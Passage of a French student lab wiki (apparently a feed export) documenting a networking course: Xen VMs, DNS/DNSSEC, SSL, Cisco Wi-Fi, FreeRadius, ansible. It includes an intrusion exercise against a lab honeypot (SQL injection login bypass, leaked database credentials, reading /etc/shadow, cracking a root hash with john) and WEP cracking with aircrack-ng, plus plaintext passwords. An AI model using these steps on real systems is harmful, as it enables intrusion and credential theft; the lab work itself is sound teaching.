 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée 4 rôles différents qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54977</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54977"/>
				<updated>2020-12-18T18:45:49Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
